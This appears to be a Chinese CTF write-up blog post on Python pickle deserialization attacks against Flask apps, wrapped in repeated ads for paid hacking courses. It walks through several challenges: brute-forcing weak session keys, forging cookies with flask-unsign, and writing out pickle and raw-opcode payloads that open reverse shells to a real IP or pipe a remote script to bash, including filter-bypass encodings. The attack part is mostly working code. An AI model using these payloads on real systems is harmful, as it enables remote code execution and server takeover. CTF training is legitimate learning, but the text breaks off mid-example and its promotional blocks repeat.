给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网络安全面试题
绿盟护网行动
还有大家最喜欢的黑客技术
网络安全源码合集+工具包
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
直接读环境变量/proc/1/environ
发现 secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
可以直接伪造secret_key
漏洞代码
@app.route('/admin', methods=('GET',))
def admin\_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
伪造session实现 读取 u 中的 b值
对b中的值进行反序列化,可以直接触发RCE
>flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
在linux系统下运行
import os
import pickle
import base64
User = type('User', (object,), {
'uname': 'test',
'is\_admin': 0,
'\_\_repr\_\_': lambda o: o.uname,
'\_\_reduce\_\_': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"',))
})
user=pickle.dumps(User())
print(base64.b64encode(user).decode())
生成后伪造
用hackerbar发cookie触发
可以反弹shell
2.[0xgame 2023 Notebook]
当时环境是给了源码
from flask import Flask, request, render_template, session
import pickle
import uuid
import os
app = Flask(__name__)
app.config['SECRET\_KEY'] = os.urandom(2).hex()
class Note(object):
def \_\_init\_\_(self, name, content):
self._name = name
self._content = content
@property
def name(self):
return self._name
@property
def content(self):
return self._content
@app.route('/')
def index():
return render_template('index.html')
@app.route('/<path:note\_id>', methods=['GET'])
def view\_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')
note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')
note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
@app.route('/add\_note', methods=['POST'])
def add\_note():
note_name = request.form.get('note\_name')
note_content = request.form.get('note\_content')
if note_name == '' or note_content == '':
return render_template('index.html', status='add\_failed', msg='note name or content is empty')
note_id = str(uuid.uuid4())
note = Note(note_name, note_content)
if not session.get('notes'):
session['notes'] = {}
notes = session['notes']
notes[note_id] = pickle.dumps(note)
session['notes'] = notes
return render_template('index.html', status='add\_success', note_id=note_id)
@app.route('/delete\_note', methods=['POST'])
def delete\_note():
note_id = request.form.get('note\_id')
if not note_id:
return render_template('index.html')
notes = session.get('notes')
if not notes:
return render_template('index.html', status='delete\_failed', msg='You have no notes')
if not notes.get(note_id):
return render_template('index.html', status='delete\_failed', msg='This note does not exist')
del notes[note_id]
session['notes'] = notes
return render_template('index.html', status='delete\_success')
if __name__ == '\_\_main\_\_':
app.run(host='0.0.0.0', port=8000, debug=False)
题目分析:
app.config['SECRET_KEY'] = os.urandom(2).hex()
secret_key是弱密钥可以爆破 进行伪造
@app.route('/<path:note\_id>', methods=['GET'])
def view\_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')
note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')
note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
session伪造的结构{‘notes’:{‘note_id’:‘payload’}}
在/<path:note_id>
路由下
pickle.loads
触发反序列化
题目环境有os可以用os.system
执行任意命令
具体操作
生成爆破密钥
import os
while True:
secret_key=os.urandom(2).hex()
with open("Desktop/secret\_key.txt","a") as f:
f.write(secret_key+'\n')
解析session
C:\Users\Administrator>flask-unsign --decode --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0"
C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\requests\__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
{'notes': {'769b57ff-3d73-433a-811e-2bca92371c39': b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x011\x94\x8c\x08_content\x94h\x06ub.'}}
爆破 secret_key
flask-unsign --unsign --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0" -w "C:\Users\Administrator\Desktop\secret_key.txt" --no-literal-eval
拿到 f991
linux下运行 题目环境有os模块
import pickle
import os
import base64
class aaa():
def \_\_reduce\_\_(self):
return(os.system,('curl ip/1 |bash',))
a= aaa()
payload=pickle.dumps(a)
print(payload)
利用 curl 反弹shell(适用于bash/zsh) 拿到payloadb'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'
要伪造的session{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}
flask-unsign --sign --cookie "{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}" --secret "f991"
可以弹回shell
3.[HZNUCTF 2023 preliminary]pickle
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '\_\_main\_\_':
app.run(host='0.0.0.0')
非预期
/readFile?filename=/proc/1/environ
flag在环境变量里
预期 关键代码
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
将os替换为空
用没有os的payload
import pickle
import base64
class A(object):
def \_\_reduce\_\_(self):
return (eval, ("\_\_import\_\_('o'+'s').popen('curl 148.135.82.190/2 | bash').read()",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
直接反弹shell
二.基于opcode绕过字节码过滤
对于一些题会对传入的数据进行过滤
例如
1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code
2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
这个时候考虑用用到opcode
Python中的pickle更像一门编程语言,一种基于栈的虚拟机
什么是opcode
Python 的 opcode(operation code)是一组原始指令,用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符,代表一种特定的操作或指令。
在 Python 中,源代码首先被编译为字节码,然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中,并由Python 解释器按顺序解释和执行。每个 opcode 都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的
opcode,以支持各种操作和语言特性。
INST i
、OBJ o
、REDUCE R
都可以调用一个 callable 对象
如何编写
原理建议直接参考https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYeeiKDtD9DcjlYD#toc-11
没有比这篇先知文章写的更好的
辅助生成工具pker:https://github.com/eddieivan01/pker
一般用于绕过 find_class 黑名单/白名单限制
pker用法
GLOBAL
对应opcode:b’c’
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL(‘os’, ‘system’)
输入:module,instance(callable、module都是instance)INST
对应opcode:b’i’
建立并入栈一个对象(可以执行一个函数):
INST(‘os’, ‘system’, ‘ls’)
输入:module,callable,paraOBJ
对应opcode:b’o’
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL(‘os’, ‘system’), ‘ls’)
输入:callable,paraxxx(xx,…)
对应opcode:b’R’
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)li[0]=321
或
globals_dic[‘local_var’]=‘hello’
对应opcode:b’s’
更新列表或字典的某项的值xx.attr=123
对应opcode:b’b’
对xx对象进行属性设置return
对应opcode:b’0’
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
对于做题而言会opache改写就行了
INST i
、OBJ o
、REDUCE R
都可以调用一个 callable 对象
RCE demo:
R:
b'''cos\nsystem\n(S'whoami'\ntR.'''
i
b'''(S'whoami'\nios\nsystem\n.'''
o
b'''(cos\nsystem\nS'whoami'\no.'''
无R,i,o os可过
b'''(cos\nsystem\nS'calc'\nos.'''
无R,i,o os 可过 + 关键词过滤
b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
V操作码是可以识别\u (unicode编码绕过)
特别是命令有特殊功能字符
易错点 \n是换行如果用赛博厨子 会将 \n 当作字符处理,易出错
用python处理
import base64
opcode=b''''''
print(base64.b64encode(opcode))
例题
4.[MTCTF 2022]easypickle
当时题目环境给了源码的
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET\_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello\_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser\_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser\_data')))
return "ok"
except:
return "error!"
if __name__ == '\_\_main\_\_':
app.run(host='0.0.0.0', port=8888)
decode一下session
os.urandom(2).hex()
爆破session
爆破密钥为 dabe
构造类似的payload{'user':'admin','ser_data':'payload'}
漏洞代码
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser\_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser\_data')))
return "ok"
except:
return "error!"
存在逻辑问题
替换后的 a 进行检查
R i o b
但是实际反序列化是ser_data
因此os中o可以存在,但是单独的o是被禁止的,因为os被替换成Os,但对后续ser_data不影响
bash -c 'sh -i >& /dev/tcp/ip/port 0>&1'
环境只有sh
将前面总结的payload改写一下
b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0031\u0034\u0038\u002E\u0031\u0033\u0035\u002E\u0038\u0032\u002E\u0031\u0039\u0030\u002F\u0038\u0038\u0038\u0038\u0020\u0030\u003E\u0026\u0031\u0027\nos.'''
KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu
伪造session数据:
{'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu'}
易错 flask-unsign --sign --cookie ""
里面就不要用""包裹了 重要!!!会产生歧义
可以成功反弹shell
5.[2021极客巅峰 opcode]
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '\_\_import\_\_', 'exit', 'map'}
def find\_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
app = Flask(__name__)
app.config['SECRET\_KEY'] = "y0u-wi11\_neuer\_kn0vv-!@#se%32"
@app.route('/admin', methods = ["POST","GET"])
def admin():
if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
return "not admin"
### 给大家的福利
**零基础入门**
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

因篇幅有限,仅展示部分资料
**需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.youkuaiyun.com/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**